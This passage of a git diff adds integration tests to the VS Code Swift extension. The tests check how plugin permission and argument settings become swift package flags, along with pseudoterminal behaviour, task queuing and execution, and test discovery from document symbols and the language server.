FolderContext; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + ctx.logger.info("Locating command-plugin folder in root workspace"); + folderContext = await folderInRootWorkspace("command-plugin", workspaceContext); + ctx.logger.info( + "Located command-plugin folder in root workspace at " + folderContext.folder.fsPath + ); + const logger = await ctx.loggerFactory.temp("SwiftPluginTaskProvider.tests"); + ctx.logger.info("Loading swift plugins"); + await folderContext.loadSwiftPlugins(logger); + ctx.logger.info( + "Finished loading swift plugins, captured logs should be empty: " + logger.logs + ); + if (logger.logs.length > 0) { + expect.fail( + `Expected no output channel logs: ${JSON.stringify(logger.logs, undefined, 2)}` + ); + } + expect(workspaceContext.folders).to.not.have.lengthOf(0); + }, + }); + + const expectedPluginPermissions = [ + "--disable-sandbox", + "--allow-writing-to-package-directory", + "--allow-writing-to-directory", + "/foo", + "/bar", + "--allow-network-connections", + "all", + ]; + + [ + { + name: "global plugin permissions", + settings: { + "swift.pluginPermissions": { + disableSandbox: true, + allowWritingToPackageDirectory: true, + allowWritingToDirectory: ["/foo", "/bar"], + allowNetworkConnections: "all", + }, + }, + expected: expectedPluginPermissions, + }, + { + name: "plugin scoped plugin permissions", + settings: { + "swift.pluginPermissions": { + "command-plugin": { + disableSandbox: true, + allowWritingToPackageDirectory: true, + allowWritingToDirectory: ["/foo", "/bar"], + allowNetworkConnections: "all", + }, + }, + }, + expected: expectedPluginPermissions, + }, + { + name: "command scoped plugin permissions", + settings: { + "swift.pluginPermissions": { + "command-plugin:command_plugin": { + disableSandbox: true, + allowWritingToPackageDirectory: true, + allowWritingToDirectory: ["/foo", "/bar"], + allowNetworkConnections: "all", + }, + }, + }, + expected: expectedPluginPermissions, + }, + { + name: "wildcard scoped plugin permissions", + settings: { + "swift.pluginPermissions": { + "*": { + disableSandbox: true, + allowWritingToPackageDirectory: true, + allowWritingToDirectory: ["/foo", "/bar"], + allowNetworkConnections: "all", + }, + }, + }, + expected: expectedPluginPermissions, + }, + { + name: "global plugin arguments", + settings: { + "swift.pluginArguments": ["-c", "release"], + }, + expected: ["-c", "release"], + }, + { + name: "plugin scoped plugin arguments", + settings: { + "swift.pluginArguments": { + "command-plugin": ["-c", "release"], + }, + }, + expected: ["-c", "release"], + }, + { + name: "command scoped plugin arguments", + settings: { + "swift.pluginArguments": { + "command-plugin:command_plugin": ["-c", "release"], + }, + }, + expected: ["-c", "release"], + }, + { + name: "wildcard scoped plugin arguments", + settings: { + "swift.pluginArguments": { + "*": ["-c", "release"], + }, + }, + expected: ["-c", "release"], + }, + { + name: "overlays settings", + settings: { + "swift.pluginArguments": { + "*": ["-a"], + "command-plugin": ["-b"], + "command-plugin:command_plugin": ["-c"], + }, + }, + expected: ["-a", "-b", "-c"], + }, + ].forEach(({ name, settings, expected }) => { + suite(name, () => { + let resetSettings: (() => Promise) | undefined; + beforeEach(async function () { + resetSettings = await updateSettings(settings); + }); + + afterEach(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + test("sets arguments", async () => { + const tasks = await vscode.tasks.fetchTasks({ type: "swift-plugin" }); + const task = tasks.find(t => t.name === "command-plugin"); + expect(task).to.not.be.undefined; + + const swiftExecution = task?.execution as SwiftExecution; + expect(swiftExecution).to.not.be.undefined; + assert.deepEqual( + swiftExecution.args, + workspaceContext.globalToolchain.buildFlags.withAdditionalFlags([ + "package", + ...expected, + "command_plugin", + ]) + ); + }); + }); + }); + + suite("execution", () => { + suite("createSwiftPluginTask", () => { + let taskProvider: SwiftPluginTaskProvider; + + setup(() => { + taskProvider = workspaceContext.pluginProvider; + }); + + test("Exit code on success", async () => { + const task = taskProvider.createSwiftPluginTask( + folderContext.swiftPackage.plugins[0], + folderContext.toolchain, + { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + } + ); + const { exitCode, output } = await executeTaskAndWaitForResult(task); + expect(exitCode, output).to.equal(0); + expect(cleanOutput(output)).to.include("Hello, World!"); + }); + + test("Exit code on failure", async () => { + const task = taskProvider.createSwiftPluginTask( + { + command: "not_a_command", + name: "not_a_command", + package: "command-plugin", + }, + folderContext.toolchain, + { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + } + ); + mutable(task.execution).command = "/definitely/not/swift"; + const { exitCode, output } = await executeTaskAndWaitForResult(task); + expect(exitCode, `${output}`).to.not.equal(0); + }); + }); + + suite("provideTasks", () => { + suite("includes command plugin provided by the extension", () => { + let task: SwiftTask | undefined; + + setup(async () => { + const tasks = await vscode.tasks.fetchTasks({ type: "swift-plugin" }); + task = tasks.find(t => t.name === "command-plugin") as SwiftTask; + }); + + test("provides", () => { + expect(task?.execution.args).to.deep.equal( + folderContext.toolchain.buildFlags.withAdditionalFlags([ + "package", + "command_plugin", + ]) + ); + }); + + test("executes", async () => { + assert(task); + const exitPromise = waitForEndTaskProcess(task); + await vscode.tasks.executeTask(task); + const exitCode = await exitPromise; + expect(exitCode).to.equal(0); + }); + }); + + suite("includes command plugin provided by tasks.json", () => { + let task: SwiftTask | undefined; + + setup(async () => { + const tasks = await vscode.tasks.fetchTasks({ type: "swift-plugin" }); + task = tasks.find( + t => + t.name === + "swift: command-plugin from " + + (vscode.workspace.workspaceFile ? "code workspace" : "tasks.json") + ) as SwiftTask; + }); + + test("provides", () => { + expect(task?.execution.args).to.deep.equal( + folderContext.toolchain.buildFlags.withAdditionalFlags([ + "package", + "--disable-sandbox", + "command_plugin", + "--foo", + ]) + ); + }); + + test("executes", async () => { + assert(task); + const exitPromise = waitForEndTaskProcess(task); + await vscode.tasks.executeTask(task); + const exitCode = await exitPromise; + expect(exitCode).to.equal(0); + }); + }); + }); + }); +}); diff --git a/test/integration-tests/tasks/SwiftPseudoterminal.test.ts b/test/integration-tests/tasks/SwiftPseudoterminal.test.ts new file mode 100644 index 000000000..f314bd16a --- /dev/null +++ b/test/integration-tests/tasks/SwiftPseudoterminal.test.ts @@ -0,0 +1,154 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as vscode from "vscode"; + +import { SwiftPseudoterminal } from "@src/tasks/SwiftPseudoterminal"; + +import { TestSwiftProcess } from "../../fixtures"; +import { waitForClose, waitForWrite } from "../../utilities/tasks"; + +suite("SwiftPseudoterminal Tests Suite", () => { + test("Close event handler fires", async () => { + const process = new TestSwiftProcess("swift", ["build"]); + const terminal = new SwiftPseudoterminal(() => process, {}); + + terminal.open(undefined); + const promise = waitForClose(terminal); + process.close(1); + + const exitCode = await promise; + assert.equal(exitCode, 1); + }); + + test("Write event handler fires", async () => { + const process = new TestSwiftProcess("swift", ["build"]); + const terminal = new SwiftPseudoterminal(() => process, {}); + + terminal.open(undefined); + const promise = waitForWrite(terminal); + process.write("Fetching some dependency"); + + const output = await promise; + // Uses expected terminal line ending + assert.equal(output, "Fetching some dependency\n\r"); + }); + + test("Echoes the command", async () => { + const process = new TestSwiftProcess("swift", ["build", "-c", "dbg"]); + const terminal = new SwiftPseudoterminal(() => process, { echo: true }); + const promise = waitForWrite(terminal); + + terminal.open(undefined); + + const output = await promise; + assert.equal(output, "> swift build -c dbg\n\n\r"); + }); + + test("Does not echo the command", async () => { + const process = new TestSwiftProcess("swift", ["build", "-c", "dbg"]); + const terminal = new SwiftPseudoterminal(() => process, { echo: false }); + let wrote = false; + const disposable = terminal.onDidWrite(() => { + wrote = true; + }); + + terminal.open(undefined); + disposable.dispose(); + + assert.equal(wrote, false); + }); + + test("Handles error on spawn", async () => { + const process = new TestSwiftProcess("swift", ["build", "-c", "dbg"]); + const terminal = new SwiftPseudoterminal(() => process, { echo: false }); + process.setError(new Error("Uh oh!")); + + const promise = waitForClose(terminal); + terminal.open(undefined); + + const exitCode = await promise; + // Abrupt termination + assert.equal(exitCode, undefined); + }); + + test("Handles ctrl+c", async () => { + const process = new (class extends TestSwiftProcess { + input?: string; + + handleInput(input: string): void { + this.input = input; + } + })("swift", ["build", "-c", "dbg"]); + const terminal = new SwiftPseudoterminal(() => process, { echo: false }); + const promise = waitForClose(terminal); + + terminal.open(undefined); + terminal.handleInput(Buffer.of(3).toString()); + + const exitCode = await promise; + assert.equal(exitCode, 8); + assert.equal(process.input, undefined); + }); + + test("Propagates all other input", async () => { + const process = new (class extends TestSwiftProcess { + input?: string; + + handleInput(input: string): void { + this.input = input; + } + })("swift", ["build", "-c", "dbg"]); + const terminal = new SwiftPseudoterminal(() => process, { echo: false }); + terminal.open(undefined); + + terminal.handleInput("foo"); + + assert.equal(process.input, "foo"); + }); + + test("Sets initial pty dimensions", async () => { + const process = new (class extends TestSwiftProcess { + dimensions?: vscode.TerminalDimensions; + + setDimensions(dimensions: vscode.TerminalDimensions): void { + this.dimensions = dimensions; + } + })("swift", ["build", "-c", "dbg"]); + const terminal = new SwiftPseudoterminal(() => process, { echo: false }); + + terminal.open({ rows: 100, columns: 200 }); + + assert.deepEqual(process.dimensions, { rows: 100, columns: 200 }); + }); + + test("Update pty dimensions", async () => { + const process = new (class extends TestSwiftProcess { + dimensions?: vscode.TerminalDimensions; + + setDimensions(dimensions: vscode.TerminalDimensions): void { + this.dimensions = dimensions; + } + })("swift", ["build", "-c", "dbg"]); + const terminal = new SwiftPseudoterminal(() => process, { echo: false }); + + terminal.open({ rows: 100, columns: 200 }); + + assert.deepEqual(process.dimensions, { rows: 100, columns: 200 }); + + terminal.setDimensions({ rows: 200, columns: 400 }); + + assert.deepEqual(process.dimensions, { rows: 200, columns: 400 }); + }); +}); diff --git a/test/integration-tests/tasks/SwiftTaskProvider.test.ts b/test/integration-tests/tasks/SwiftTaskProvider.test.ts new file mode 100644 index 000000000..9307a2c51 --- /dev/null +++ b/test/integration-tests/tasks/SwiftTaskProvider.test.ts @@ -0,0 +1,242 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { createBuildAllTask, createSwiftTask, getBuildAllTask } from "@src/tasks/SwiftTaskProvider"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { mockGlobalObject } from "../../MockUtils"; +import { tag } from "../../tags"; +import { executeTaskAndWaitForResult, waitForEndTaskProcess } from "../../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; + +suite("SwiftTaskProvider Test Suite", () => { + let workspaceContext: WorkspaceContext; + let toolchain: SwiftToolchain; + let workspaceFolder: vscode.WorkspaceFolder; + let folderContext: FolderContext; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + expect(workspaceContext.folders).to.not.have.lengthOf(0); + workspaceFolder = workspaceContext.folders[0].workspaceFolder; + + // Make sure have another folder + folderContext = await folderInRootWorkspace("diagnostics", workspaceContext); + toolchain = folderContext.toolchain; + }, + }); + + suite("createSwiftTask", () => { + test("Exit code on success", async () => { + const task = createSwiftTask( + ["--help"], + "help", + { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, + toolchain + ); + const { exitCode } = await executeTaskAndWaitForResult(task); + expect(exitCode).to.equal(0); + }); + + test("Exit code on failure", async () => { + const task = createSwiftTask( + ["invalid_swift_command"], + "invalid", + { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, + toolchain + ); + const { exitCode } = await executeTaskAndWaitForResult(task); + expect(exitCode).to.not.equal(0); + }); + + test("Exit code on failure to launch", async () => { + const task = createSwiftTask( + ["--help"], + "help", + { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, + new SwiftToolchain( + "/invalid/swift/path", + "/invalid/toolchain/path", + { + compilerVersion: "1.2.3", + paths: { + runtimeLibraryPaths: [], + }, + }, + new Version(1, 2, 3) + ) + ); + const { exitCode } = await executeTaskAndWaitForResult(task); + expect(exitCode).to.not.equal(0); + }); + }); + + suite("provideTasks", () => { + let resetSettings: (() => Promise) | undefined; + teardown(async () => { + if (resetSettings) { + await resetSettings(); + } + }); + + suite("includes build all task from extension", () => { + async function getBuildAllTask(): Promise { + const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); + return tasks.find(t => t.name === "Build All (defaultPackage)"); + } + + test("provided", async () => { + const task = await getBuildAllTask(); + expect(task?.detail).to.include("swift build --build-tests"); + }); + + tag("medium").test("executes", async () => { + const task = await getBuildAllTask(); + assert(task); + const exitPromise = waitForEndTaskProcess(task); + await vscode.tasks.executeTask(task); + const exitCode = await exitPromise; + expect(exitCode).to.equal(0); + }); + }); + + suite("includes build all task from tasks.json", () => { + async function getBuildAllTask(): Promise { + const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); + return tasks.find( + t => + t.name === + "swift: Build All from " + + (vscode.workspace.workspaceFile ? "code workspace" : "tasks.json") + ); + } + + test("provided", async () => { + const task = await getBuildAllTask(); + expect(task?.detail).to.include("swift build --show-bin-path"); + }); + + tag("medium").test("executes", async () => { + const task = await getBuildAllTask(); + assert(task); + const exitPromise = waitForEndTaskProcess(task); + await vscode.tasks.executeTask(task); + const exitCode = await exitPromise; + expect(exitCode).to.equal(0); + }); + }); + + test("includes product debug task", async () => { + const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); + const task = tasks.find(t => t.name === "Build Debug PackageExe (defaultPackage)"); + expect( + task, + 'expected to find a task named "Build Debug PackageExe (defaultPackage)", instead found ' + + tasks.map(t => t.name) + ).to.not.be.undefined; + expect(task?.detail).to.include("swift build --product PackageExe"); + }); + + test("includes library build tasks task", async () => { + const taskProvider = workspaceContext.taskProvider; + let tasks = await taskProvider.provideTasks(new vscode.CancellationTokenSource().token); + let task = tasks.find(t => t.name === "Build Debug PackageLib2 (defaultPackage)"); + expect(task).to.be.undefined; + task = tasks.find(t => t.name === "Build Release PackageLib2 (defaultPackage)"); + expect(task).to.be.undefined; + + resetSettings = await updateSettings({ + "swift.createTasksForLibraryProducts": true, + }); + + tasks = await taskProvider.provideTasks(new vscode.CancellationTokenSource().token); + task = tasks.find(t => t.name === "Build Debug PackageLib2 (defaultPackage)"); + expect( + task, + 'expected to find a task named "Build Debug PackageLib2 (defaultPackage)", instead found ' + + tasks.map(t => t.name) + ).to.not.be.undefined; + expect(task?.detail).to.include("swift build --product PackageLib2"); + task = tasks.find(t => t.name === "Build Release PackageLib2 (defaultPackage)"); + expect( + task, + 'expected to find a task named "Build Release PackageLib2 (defaultPackage)", instead found ' + + tasks.map(t => t.name) + ).to.not.be.undefined; + expect(task?.detail).to.include("swift build -c release --product PackageLib2"); + + // Don't include automatic products + task = tasks.find(t => t.name === "Build Debug PackageLib (defaultPackage)"); + expect(task).to.be.undefined; + task = tasks.find(t => t.name === "Build Release PackageLib (defaultPackage)"); + expect(task).to.be.undefined; + }); + + test("includes product release task", async () => { + const taskProvider = workspaceContext.taskProvider; + const tasks = await taskProvider.provideTasks( + new vscode.CancellationTokenSource().token + ); + const task = tasks.find(t => t.name === "Build Release PackageExe (defaultPackage)"); + expect( + task, + 'expected to find a task named "Build Release PackageExe (defaultPackage)", instead found ' + + tasks.map(t => t.name) + ).to.not.be.undefined; + expect(task?.detail).to.include("swift build -c release --product PackageExe"); + }); + + test("includes additional folders", async () => { + const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); + const diagnosticTasks = tasks.filter(t => t.name.endsWith("(diagnostics)")); + expect(diagnosticTasks).to.have.lengthOf(3); + }); + }); + + suite("createBuildAllTask", () => { + test("should return same task instance", async () => { + expect(await createBuildAllTask(folderContext)).to.equal( + await createBuildAllTask(folderContext) + ); + }); + + test("different task returned for release mode", async () => { + expect(await createBuildAllTask(folderContext)).to.not.equal( + await createBuildAllTask(folderContext, true) + ); + }); + }); + + suite("getBuildAllTask", () => { + const tasksMock = mockGlobalObject(vscode, "tasks"); + + test("creates build all task when it cannot find one", async () => { + tasksMock.fetchTasks.resolves([]); + await expect(getBuildAllTask(folderContext)).to.eventually.equal( + await createBuildAllTask(folderContext) + ); + }); + }); +}); diff --git a/test/integration-tests/tasks/TaskManager.test.ts b/test/integration-tests/tasks/TaskManager.test.ts new file mode 100644 index 000000000..34624a0fb --- /dev/null +++ b/test/integration-tests/tasks/TaskManager.test.ts @@ -0,0 +1,87 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { TaskManager } from "@src/tasks/TaskManager"; + +import { tag } from "../../tags"; +import { activateExtensionForSuite } from "../utilities/testutilities"; + +tag("medium").suite("TaskManager Test Suite", () => { + let workspaceContext: WorkspaceContext; + let taskManager: TaskManager; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + taskManager = workspaceContext.tasks; + assert.notEqual(workspaceContext.folders.length, 0); + }, + }); + + // check running task will return expected value + test("Return value", async () => { + const exitTask = new vscode.Task( + { type: "testTask" }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["1"]) + ); + const result = await taskManager.executeTaskAndWait(exitTask); + assert.strictEqual(result, 1); + }); + + // check running two tasks at same time will return expected values + test("Execute two tasks at same time", async () => { + const task1 = new vscode.Task( + { type: "testTask", data: 1 }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["1"]) + ); + const task2 = new vscode.Task( + { type: "testTask", data: 2 }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["2"]) + ); + const result = await Promise.all([ + taskManager.executeTaskAndWait(task1), + taskManager.executeTaskAndWait(task2), + ]); + assert.notStrictEqual(result, [1, 2]); + }); + // check running three tasks at same time will return expected values + /* Disabled until I can get it working + test("Execute three tasks at same time", async () => { + const tasks = [1, 2, 3].map(value => { + return new vscode.Task( + { type: "testTask", data: value }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ProcessExecution("exit", [value.toString()]) + ); + }); + const result = await Promise.all([ + tasks.map(task => taskManager.executeTaskAndWait(task)), + ]); + assert.notStrictEqual(result, [1, 2, 3]); + });*/ +}); diff --git a/test/integration-tests/tasks/TaskQueue.test.ts b/test/integration-tests/tasks/TaskQueue.test.ts new file mode 100644 index 000000000..1f26b9376 --- /dev/null +++ b/test/integration-tests/tasks/TaskQueue.test.ts @@ -0,0 +1,195 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecOperation, TaskOperation, TaskQueue } from "@src/tasks/TaskQueue"; + +import { testAssetPath } from "../../fixtures"; +import { tag } from "../../tags"; +import { activateExtensionForSuite, findWorkspaceFolder } from "../utilities/testutilities"; + +tag("medium").suite("TaskQueue Test Suite", () => { + let workspaceContext: WorkspaceContext; + let taskQueue: TaskQueue; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + assert.notEqual(workspaceContext.folders.length, 0); + taskQueue = workspaceContext.folders[0].taskQueue; + }, + }); + + // check queuing task will return expected value + test("Return value", async () => { + const exitTask = new vscode.Task( + { type: "testTask", args: ["2"] }, + vscode.TaskScope.Workspace, + "exit", + "testTaskQueue", + new vscode.ShellExecution("exit", ["2"]) + ); + const result = await taskQueue.queueOperation(new TaskOperation(exitTask)); + assert.strictEqual(result, 2); + }); + + // check running two different tasks at same time will return the results + // in correct order + test("Execute two different tasks", async () => { + const results: (number | undefined)[] = []; + const task1 = new vscode.Task( + { type: "testTask", args: ["1"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["1"]) + ); + const task2 = new vscode.Task( + { type: "testTask", args: ["2"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["2"]) + ); + await Promise.all([ + taskQueue.queueOperation(new TaskOperation(task1)).then(rt => results.push(rt)), + taskQueue.queueOperation(new TaskOperation(task2)).then(rt => results.push(rt)), + ]); + assert.notStrictEqual(results, [1, 2]); + }); + + // Check that queuing a task that is already running will still run it a second + // time + test("Execute duplicate task as runnning task", async () => { + const results: (number | undefined)[] = []; + const task1 = new vscode.Task( + { type: "testTask", args: ["1"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["1"]) + ); + const task2 = new vscode.Task( + { type: "testTask", args: ["1"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["2"]) + ); + await Promise.all([ + taskQueue.queueOperation(new TaskOperation(task1)).then(rt => results.push(rt)), + taskQueue.queueOperation(new TaskOperation(task2)).then(rt => results.push(rt)), + ]); + assert.notStrictEqual(results, [1, 2]); + }); + + // Check that queuing a task that is already in the queue will just return + // the result of the one already in the queue. + test("Execute duplicate task as queued task", async () => { + const results: (number | undefined)[] = []; + const task1 = new vscode.Task( + { type: "testTask", args: ["1"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["1"]) + ); + const task2 = new vscode.Task( + { type: "testTask", args: ["2"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["2"]) + ); + const task3 = new vscode.Task( + { type: "testTask", args: ["2"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution("exit", ["3"]) + ); + await Promise.all([ + taskQueue.queueOperation(new TaskOperation(task1)).then(rt => results.push(rt)), + taskQueue.queueOperation(new TaskOperation(task2)).then(rt => results.push(rt)), + taskQueue.queueOperation(new TaskOperation(task3)).then(rt => results.push(rt)), + ]); + assert.notStrictEqual(results, [1, 2, 2]); + }); + + // Queue two tasks. The first one taking longer than the second. If they + // are queued correctly the first will still finish before the second + test("Test execution order", async () => { + const sleepScript = testAssetPath("sleep.sh"); + const results: (number | undefined)[] = []; + const task1 = new vscode.Task( + { type: "testTask", args: ["1"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution(sleepScript, ["1", "1"]) + ); + const task2 = new vscode.Task( + { type: "testTask", args: ["2"] }, + vscode.TaskScope.Workspace, + "exit", + "testTask", + new vscode.ShellExecution(sleepScript, ["0.01", "2"]) + ); + await Promise.all([ + taskQueue.queueOperation(new TaskOperation(task1)).then(rt => results.push(rt)), + taskQueue.queueOperation(new TaskOperation(task2)).then(rt => results.push(rt)), + ]); + assert.notStrictEqual(results, [1, 2]); + }); + + // check queuing task will return expected value + test("swift exec", async () => { + const folder = findWorkspaceFolder("defaultPackage", workspaceContext); + assert(folder); + const operation = new SwiftExecOperation( + ["--version"], + folder, + "Swift Version", + { showStatusItem: false, checkAlreadyRunning: true }, + stdout => { + assert(stdout.includes("Swift version")); + } + ); + const result = await taskQueue.queueOperation(operation); + assert.strictEqual(result, 0); + }); + + // check queuing swift exec operation will throw expected error + test("swift exec error", async () => { + const folder = findWorkspaceFolder("defaultPackage", workspaceContext); + assert(folder); + const operation = new SwiftExecOperation( + ["--version"], + folder, + "Throw error", + { showStatusItem: false, checkAlreadyRunning: true }, + () => { + throw Error("SwiftExecOperation error"); + } + ); + try { + await taskQueue.queueOperation(operation); + assert(false); + } catch (error) { + assert.strictEqual((error as { message: string }).message, "SwiftExecOperation error"); + } + }); +}); diff --git a/test/integration-tests/testexplorer/DocumentSymbolTestDiscovery.test.ts b/test/integration-tests/testexplorer/DocumentSymbolTestDiscovery.test.ts new file mode 100644 index 000000000..4cce4367f --- /dev/null +++ b/test/integration-tests/testexplorer/DocumentSymbolTestDiscovery.test.ts @@ -0,0 +1,101 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as vscode from "vscode"; + +import { parseTestsFromDocumentSymbols } from "@src/TestExplorer/DocumentSymbolTestDiscovery"; +import { TestClass } from "@src/TestExplorer/TestDiscovery"; + +suite("DocumentSymbolTestDiscovery Suite", () => { + const mockRange = new vscode.Range(new vscode.Position(0, 0), new vscode.Position(0, 0)); + const mockUri = vscode.Uri.file("file:///var/foo"); + const basicXCTest: TestClass = { + id: "", + label: "", + disabled: false, + style: "XCTest", + location: { + range: mockRange, + uri: mockUri, + }, + children: [], + tags: [{ id: "XCTest" }], + }; + + test("Parse empty document symbols", async () => { + const tests = parseTestsFromDocumentSymbols("TestTarget", [], mockUri); + assert.deepEqual(tests, []); + }); + + test("Parse empty test suite", async () => { + const symbols = [ + new vscode.DocumentSymbol( + "MyXCTestCase", + "", + vscode.SymbolKind.Class, + mockRange, + mockRange + ), + ]; + + const tests = parseTestsFromDocumentSymbols("TestTarget", symbols, mockUri); + assert.deepEqual(tests, []); + }); + + test("Parse suite with one test", async () => { + const testClass = new vscode.DocumentSymbol( + "MyXCTestCase", + "", + vscode.SymbolKind.Class, + mockRange, + mockRange + ); + testClass.children = [ + new vscode.DocumentSymbol( + "testFoo()", + "", + vscode.SymbolKind.Method, + mockRange, + mockRange + ), + ]; + + const tests = parseTestsFromDocumentSymbols("TestTarget", [testClass], mockUri); + assert.deepEqual(tests, [ + { + ...basicXCTest, + id: "TestTarget", + label: "TestTarget", + location: undefined, + tags: [{ id: "test-target" }], + children: [ + { + ...basicXCTest, + id: "TestTarget.MyXCTestCase", + label: "MyXCTestCase", + tags: [{ id: "XCTest" }], + children: [ + { + ...basicXCTest, + id: "TestTarget.MyXCTestCase/testFoo", + label: "testFoo", + tags: [{ id: "XCTest" }], + }, + ], + }, + ], + }, + ]); + }); +}); diff --git a/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts b/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts new file mode 100644 index 000000000..15a2c9e20 --- /dev/null +++ b/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts @@ -0,0 +1,255 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { beforeEach } from "mocha"; +import * as vscode from "vscode"; +import * as p2c from "vscode-languageclient/lib/common/protocolConverter"; +import { + LanguageClient, + Location, + MessageSignature, + Position, + Range, + RequestType0, + RequestType, +} from "vscode-languageclient/node"; + +import { SwiftPackage, Target, TargetType } from "@src/SwiftPackage"; +import { LSPTestDiscovery } from "@src/TestExplorer/LSPTestDiscovery"; +import { TestClass } from "@src/TestExplorer/TestDiscovery"; +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; +import { + LSPTestItem, + TextDocumentTestsRequest, + WorkspaceTestsRequest, +} from "@src/sourcekit-lsp/extensions"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; + +import { instance, mockFn, mockObject } from "../../MockUtils"; + +class TestLanguageClient { + private responses = new Map(); + private responseVersions = new Map(); + private client = mockObject({ + initializeResult: { + capabilities: { + experimental: { + "textDocument/tests": { + version: this.responseVersions.get("textDocument/tests") ?? 999, + }, + "workspace/tests": { + version: this.responseVersions.get("workspace/tests") ?? 999, + }, + }, + }, + }, + protocol2CodeConverter: p2c.createConverter(undefined, true, true), + sendRequest: mockFn(s => + s.callsFake((type: MessageSignature): Promise => { + const response = this.responses.get(type.method); + return response + ? Promise.resolve(response) + : Promise.reject("Method not implemented"); + }) + ), + }); + + public get languageClient(): LanguageClient { + return instance(this.client); + } + + setResponse(type: RequestType0, response: R): void; + setResponse(type: RequestType, response: R): void; + setResponse(type: MessageSignature, response: unknown) { + this.responses.set(type.method, response); + } + + setResponseVersion(type: MessageSignature, version: number) { + this.responseVersions.set(type.method, version); + } +} + +suite("LSPTestDiscovery Suite", () => { + let client: TestLanguageClient; + let discoverer: LSPTestDiscovery; + let pkg: SwiftPackage; + const file = vscode.Uri.file("/some/file.swift"); + + beforeEach(async function () { + this.timeout(10000000); + pkg = await SwiftPackage.create(file, await SwiftToolchain.create("/path/to/extension")); + client = new TestLanguageClient(); + discoverer = new LSPTestDiscovery( + instance( + mockObject({ + useLanguageClient: mockFn(s => + s.callsFake(process => { + return process( + client.languageClient, + new vscode.CancellationTokenSource().token + ); + }) + ), + }) + ) + ); + }); + + suite("Empty responses", () => { + test(TextDocumentTestsRequest.method, async () => { + client.setResponse(TextDocumentTestsRequest.type, []); + + const testClasses = 